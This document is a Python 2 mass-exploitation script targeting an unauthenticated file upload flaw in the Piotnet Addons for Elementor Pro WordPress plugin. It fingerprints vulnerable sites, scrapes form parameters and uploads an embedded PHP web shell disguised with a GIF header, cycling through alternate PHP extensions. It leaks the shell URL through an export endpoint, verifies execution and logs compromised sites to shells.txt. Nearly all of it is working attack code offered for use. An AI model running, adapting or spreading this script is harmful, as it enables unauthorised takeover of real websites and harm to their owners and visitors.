Piotnet Addons for Elementor Pro Unauthenticated Arbitrary File Upload RCE (CVE-2026-4885)

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#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import sys
import re
import json
import time
import threading
from Queue import Queue
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TIMEOUT = 10
MAX_THREADS = 20
OUTPUT_FILE = "shells.txt"
VULN_VERSION = "7.1.70"
EXT_LIST = [".phtml", ".php3", ".php4", ".phps", ".pht", ".php2"]

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.9",
    "X-Requested-With": "XMLHttpRequest",
}

SHELL_CODE = b"""GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>"""

GREEN = "\033[92m"
RED = "\033[91m"
CYAN = "\033[96m"
YELLOW = "\033[93m"
RESET = "\033[0m"
BOLD = "\033[1m"

def safe_unicode(s):
    if isinstance(s, unicode):
        return s
    try:
        return unicode(s, 'utf-8', errors='replace')
    except:
        return unicode(str(s), errors='replace')

def log(msg, level="info"):
    msg = safe_unicode(msg)
    if level == "success":
        print("{}{}[+] {}{}".format(GREEN, BOLD, RESET, msg.encode('utf-8', errors='replace')))
    elif level == "error":
        print("{}{}[-] {}{}".format(RED, BOLD, RESET, msg.encode('utf-8', errors='replace')))
    elif level == "warn":
        print("{}{}[!] {}{}".format(YELLOW, BOLD, RESET, msg.encode('utf-8', errors='replace')))
    else:
        print("{}{}[*] {}{}".format(CYAN, BOLD, RESET, msg.encode('utf-8', errors='replace')))

def version_lte(v1, v2):
    p1 = [int(x) for x in v1.split(".")]
    p2 = [int(x) for x in v2.split(".")]
    for i in range(max(len(p1), len(p2))):
        a = p1[i] if i < len(p1) else 0
        b = p2[i] if i < len(p2) else 0
        if a < b:
            return True
        if a > b:
            return False
    return True

def extract_field_name(html):
    m = re.search(
        r'data-pafe-form-builder-field-name=["\']([^"\']+)["\'][^>]*(?:type=["\']file|data-pafe-form-builder-upload)',
        html, re.DOTALL
    )
    if m:
        return m.group(1).strip()
    m = re.search(
        r'class=["\'][^"\']*pafe-form-builder-upload[^"\']*["\'][^>]*data-pafe-form-builder-field-name=["\']([^"\']+)["\']',
        html, re.DOTALL
    )
    if m:
        return m.group(1).strip()
    if 'pafe-form-builder' in html or 'data-pafe-form-builder' in html:
        for pattern in [r'<input[^>]*type=["\']file["\'][^>]*name=["\']([^"\']+)["\']',
                        r'<input[^>]*name=["\']([^"\']+)["\'][^>]*type=["\']file["\']']:
            for mt in re.finditer(pattern, html):
                fn = mt.group(1)
                if not fn.startswith('form_fields['):
                    return fn.rstrip('[]').strip()
    return None

def detect_version(session, target):
    try:
        r = session.get(target, timeout=TIMEOUT, verify=False)
        if r.status_code == 200:
            m = re.search(r'piotnet-addons-for-elementor-pro/[^"\']*\?ver=([0-9.]+)', r.text)
            if m:
                ver = m.group(1)
                vulnerable = version_lte(ver, VULN_VERSION)
                if vulnerable:
                    log("version {} -> VULNERABLE".format(ver), "success")
                else:
                    log("version {} -> NOT VULNERABLE".format(ver), "error")
                return ver, vulnerable
            if 'piotnet-addons-for-elementor' in r.text:
                log("plugin detected (unknown version) - assuming vulnerable", "warn")
                return None, True
    except:
        pass
    asset_paths = [
        "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/css/minify/extension.min.css",
        "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/js/minify/extension.min.js",
        "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/css/minify/font-awesome-5.min.css",
    ]
    for path in asset_paths:
        try:
            r = session.get(target + path, timeout=TIMEOUT, verify=False)
            if r.status_code == 200:
                log("plugin exists (asset found) - assuming vulnerable", "warn")
                return None, True
        except:
            continue
    log("Piotnet Addons Pro not detected", "error")
    return None, False

def collect_links(session, target):
    base = target.rstrip('/')
    extra_paths = [
        "/contact", "/contact-us", "/get-in-touch", "/apply", "/register", "/sign-up",
        "/submit", "/upload", "/form", "/quote", "/request-quote", "/free-quote",
        "/estimate", "/quote-request", "/careers", "/join-us", "/enquiry", "/inquiry",
        "/book-appointment", "/appointment", "/make-appointment", "/submit-request"
    ]
    pages = [base] + [base + p for p in extra_paths]
    try:
        home = session.get(target, timeout=TIMEOUT, verify=False)
        if home.status_code == 200:
            links = re.findall(r'href=["\']({}[^"\'#]*)["\']'.format(re.escape(base)), home.text)
            links += re.findall(r'href=["\'](/[^"\'#]*)["\']', home.text)
            for link in links:
                full = link if link.startswith("http") else base + link
                if not re.search(r'\.(css|js|png|jpg|svg|woff|gif)(\?|$)', full) and full not in pages:
                    pages.append(full)
    except:
        pass
    return pages

def gather_form_params(session, target):
    pages = collect_links(session, target)
    log("scanning {} pages...".format(len(pages)), "info")
    result = None
    for url in pages:
        try:
            r = session.get(url, timeout=TIMEOUT, verify=False)
            if r.status_code != 200:
                continue
            html = r.text
            if 'pafe' not in html.lower() and 'piotnet' not in html.lower():
                continue
            pid = (re.search(r'data-elementor-id=["\'](\d+)["\']', html) or
                   re.search(r'<input[^>]*name=["\']post_id["\'][^>]*value=["\'](\d+)["\']', html) or
                   re.search(r'data-pafe-form-builder-submit-post-id=["\'](\d+)["\']', html) or
                   re.search(r'"post_id":\s*"?(\d+)"?', html))
            post_id = pid.group(1).strip() if pid else None
            if not post_id:
                page_id = re.search(r'page-id-(\d+)', html)
                post_id = page_id.group(1).strip() if page_id else None
            fid = (re.search(r'<input[^>]*name=["\']form_id["\'][^>]*value=["\']([^"\']+)["\']', html) or
                   re.search(r'<input[^>]*value=["\']([^"\']+)["\'][^>]*name=["\']form_id["\']', html) or
                   re.search(r'"form_id":\s*"([^"]+)"', html))
            form_id = fid.group(1).strip() if fid else None
            field_name = extract_field_name(html)
            if (form_id or field_name) and post_id:
                result = {'post_id': post_id, 'form_id': form_id or 'default', 'field_name': field_name or 'file', 'page': url}
                log("found form at {} | post_id={} form_id={} field={}".format(url, post_id, form_id, field_name), "success")
                break
        except:
            continue
    if not result:
        result = {'post_id': '1', 'form_id': 'default', 'field_name': 'file'}
    return result

def upload_shell(session, ajax_url, post_id, form_id, field_name, ext, shell_data, shell_name):
    payload = json.dumps([{
        "name": field_name, "value": "",
        "file_name": ["{}{}".format(shell_name, ext)],
        "attach-files": 0, "type": "file", "image_upload": False
    }])
    files = {"{}[]".format(field_name): ("{}{}".format(shell_name, ext), shell_data, "application/octet-stream")}
    return session.post(ajax_url, data={
        "action": "pafe_ajax_form_builder",
        "post_id": post_id,
        "form_id": form_id,
        "fields": payload
    }, files=files, allow_redirects=False, timeout=TIMEOUT)

def leak_url(session, ajax_url, ext, shell_name):
    try:
        r = session.get(ajax_url, params={"action": "pafe_export_database"}, timeout=TIMEOUT)
        content = r.text.replace(u'\ufeff', '')
        pattern = r'https?://[^\s",\r\n]+/(?:wp-content/uploads/piotnet-addons-for-elementor/)?{}-[a-f0-9]+\.{}'.format(
            re.escape(shell_name), re.escape(ext.lstrip('.')))
        m = re.search(pattern, content)
        if m:
            return m.group(0)
        pattern2 = r'https?://[^\s",\r\n]+/{}-[a-f0-9]+\.{}'.format(re.escape(shell_name), re.escape(ext.lstrip('.')))
        m = re.search(pattern2, content)
        return m.group(0) if m else None
    except:
        return None

def exploit_target(target, shell_data):
    target = target.rstrip('/')
    if not target.startswith(('http://','https://')):
        target = 'https://' + target
    ajax_url = "{}/wp-admin/admin-ajax.php".format(target)
    session = requests.Session()
    session.headers.update(HEADERS)
    session.headers.update({"Referer": target + "/", "Origin": target})
    session.verify = False

    version, vulnerable = detect_version(session, target)
    if vulnerable is False:
        log("skip (not vulnerable)", "error")
        return

    params = gather_form_params(session, target)
    post_id = params['post_id']
    form_id = params['form_id']
    field = params['field_name']
    log("post_id={} form_id={} field={}".format(post_id, form_id, field), "info")

    base_name = "xxx"
    for ext in EXT_LIST:
        log("trying {}".format(ext), "info")
        try:
            resp = upload_shell(session, ajax_url, post_id, form_id, field, ext, shell_data, base_name)
        except Exception as e:
            log("upload error: {}".format(str(e)), "error")
            continue
        body = resp.text
        body_preview = safe_unicode(body[:200])
        if resp.status_code in (301,302,303,307,308):
            log("redirect - abort", "error")
            break
        if body == "0":
            log("handler not registered", "error")
            continue
        if len(body) > 1000 and body.lstrip().startswith('<!'):
            log("HTML response (cache/WAF)", "warn")
            continue
        try:
            if resp.json().get("status") != 1:
                log("rejected: {}".format(body_preview), "error")
                continue
        except:
            if '"status":1' not in body:
                log("unexpected response: {}".format(body_preview), "error")
                continue
        log("uploaded {}".format(ext), "success")
        shell_url = leak_url(session, ajax_url, ext, base_name)
        if not shell_url:
            log("leak failed", "error")
            continue
        log("shell URL: {}".format(shell_url), "success")
        try:
            r = session.get(shell_url, timeout=TIMEOUT)
            if r.status_code == 200 and "Logic_Internet" in r.text:
                print("{}{}[+] SHELL UPLOADED{} -> {}".format(GREEN, BOLD, RESET, shell_url))
                with open(OUTPUT_FILE, "a") as f:
                    f.write(shell_url + "\n")
                return shell_url
            else:
                log("shell not executable", "warn")
        except:
            log("verification failed, saving anyway", "warn")
            with open(OUTPUT_FILE, "a") as f:
                f.write(shell_url + "\n")
            return shell_url
    log("all extensions failed", "error")
    return None

def worker(queue, shell_data):
    while not queue.empty():
        try:
            target = queue.get_nowait()
        except:
            break
        exploit_target(target, shell_data)
        queue.task_done()

def main():
    if len(sys.argv) != 2:
        print("Usage: python2 {} targets.txt".format(sys.argv[0]))
        sys.exit(1)
    filename = sys.argv[1]
    try:
        with open(filename, "r") as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith("#")]
    except IOError:
        print("File not found: {}".format(filename))
        sys.exit(1)
    if not targets:
        print("No targets loaded.")
        sys.exit(1)

    shell_bytes = SHELL_CODE
    log("Loaded built-in shell ({} bytes)".format(len(shell_bytes)), "info")

    q = Queue()
    for t in targets:
        q.put(t)

    threads = []
    for _ in range(min(MAX_THREADS, len(targets))):
        th = threading.Thread(target=worker, args=(q, shell_bytes))
        th.daemon = True
        th.start()
        threads.append(th)

    for th in threads:
        th.join()

    log("Done. Results saved to {}".format(OUTPUT_FILE), "success")

if __name__ == "__main__":
    main()